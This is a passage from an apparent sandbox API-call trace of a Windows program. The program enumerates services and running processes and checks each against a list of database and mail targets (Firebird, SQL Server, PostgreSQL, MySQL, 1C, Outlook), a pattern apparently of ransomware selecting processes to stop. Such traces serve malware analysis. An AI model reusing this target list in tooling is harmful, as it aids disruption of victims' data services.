lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0068.763] GetLastError () returned 0xea [0068.764] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x3f93008 [0068.764] EnumServicesStatusExW (in: hSCManager=0x5fa808, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f93008, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f93008, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0068.765] CloseServiceHandle (hSCObject=0x5fa808) returned 1 [0068.765] lstrlenW (lpString="Appinfo") returned 7 [0068.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0068.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0068.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0068.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0068.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0068.765] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0068.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0068.765] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0068.765] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0068.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0068.765] lstrlenW (lpString="AudioSrv") returned 8 [0068.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0068.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0068.765] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0068.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0068.766] lstrlenW (lpString="BFE") returned 3 [0068.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0068.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0068.766] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0068.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0068.766] lstrlenW (lpString="CryptSvc") returned 8 [0068.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0068.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0068.766] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0068.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0068.766] lstrlenW (lpString="CscService") returned 10 [0068.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0068.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0068.766] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0068.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0068.766] lstrlenW (lpString="DcomLaunch") returned 10 [0068.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0068.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0068.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0068.766] lstrlenW (lpString="Dhcp") returned 4 [0068.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0068.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.767] lstrlenW (lpString="Dnscache") returned 8 [0068.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.767] lstrlenW (lpString="DPS") returned 3 [0068.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.767] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.767] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.767] lstrlenW (lpString="eventlog") returned 8 [0068.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0068.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0068.767] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0068.767] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0068.767] lstrlenW (lpString="EventSystem") returned 11 [0068.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.767] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.767] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.767] lstrlenW (lpString="gpsvc") returned 5 [0068.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.767] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.767] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.768] lstrlenW (lpString="iphlpsvc") returned 8 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.768] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.768] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.768] lstrlenW (lpString="LanmanServer") returned 12 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.768] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.768] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.768] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.768] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.768] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.768] lstrlenW (lpString="lmhosts") returned 7 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.768] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.768] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.768] lstrlenW (lpString="MMCSS") returned 5 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0068.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0068.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0068.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0068.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0068.768] lstrlenW (lpString="MpsSvc") returned 6 [0068.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.769] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.769] lstrlenW (lpString="Netman") returned 6 [0068.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0068.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0068.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0068.769] lstrlenW (lpString="netprofm") returned 8 [0068.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.769] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.769] lstrlenW (lpString="NlaSvc") returned 6 [0068.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.769] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.769] lstrlenW (lpString="nsi") returned 3 [0068.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.769] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.769] lstrlenW (lpString="PcaSvc") returned 6 [0068.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0068.770] lstrlenW (lpString="PlugPlay") returned 8 [0068.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0068.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0068.770] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0068.770] lstrlenW (lpString="Power") returned 5 [0068.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0068.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0068.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0068.770] lstrlenW (lpString="ProfSvc") returned 7 [0068.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0068.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0068.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0068.770] lstrlenW (lpString="RpcEptMapper") returned 12 [0068.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0068.770] lstrlenW (lpString="RpcSs") returned 5 [0068.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0068.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0068.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0068.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0068.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0068.770] lstrlenW (lpString="SamSs") returned 5 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0068.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0068.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0068.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0068.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0068.771] lstrlenW (lpString="Schedule") returned 8 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0068.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0068.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0068.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0068.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0068.771] lstrlenW (lpString="SENS") returned 4 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0068.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0068.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0068.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0068.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0068.771] lstrlenW (lpString="ShellHWDetection") returned 16 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.771] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0068.771] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0068.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0068.771] lstrlenW (lpString="Spooler") returned 7 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0068.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0068.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0068.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0068.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0068.771] lstrlenW (lpString="swprv") returned 5 [0068.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0068.772] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0068.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0068.772] lstrlenW (lpString="SysMain") returned 7 [0068.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0068.772] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0068.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0068.772] lstrlenW (lpString="Themes") returned 6 [0068.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0068.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0068.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0068.772] lstrlenW (lpString="TrkWks") returned 6 [0068.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0068.772] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0068.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0068.772] lstrlenW (lpString="UxSms") returned 5 [0068.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0068.772] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0068.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0068.772] lstrlenW (lpString="VSS") returned 3 [0068.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0068.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0068.772] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0068.773] lstrlenW (lpString="WdiServiceHost") returned 14 [0068.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0068.773] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0068.773] lstrlenW (lpString="WdiSystemHost") returned 13 [0068.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0068.773] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0068.773] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0068.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0068.773] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0068.773] lstrlenW (lpString="Winmgmt") returned 7 [0068.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0068.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0068.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0068.773] lstrlenW (lpString="WPDBusEnum") returned 10 [0068.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0068.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0068.773] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0068.773] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0068.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0068.774] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f93008 | out: hHeap=0x5a0000) returned 1 [0068.774] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x228 [0068.777] Process32FirstW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.777] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0068.778] lstrlenW (lpString="System") returned 6 [0068.778] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0068.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0068.778] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0068.779] lstrlenW (lpString="smss.exe") returned 8 [0068.779] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0068.779] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.779] lstrlenW (lpString="csrss.exe") returned 9 [0068.779] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0068.779] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0068.780] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0068.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0068.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0068.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0068.780] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0068.780] lstrlenW (lpString="wininit.exe") returned 11 [0068.780] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0068.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0068.780] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0068.781] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.781] lstrlenW (lpString="csrss.exe") returned 9 [0068.781] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0068.782] lstrlenW (lpString="winlogon.exe") returned 12 [0068.782] Process32NextW (in: hSnapshot=0x228, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, 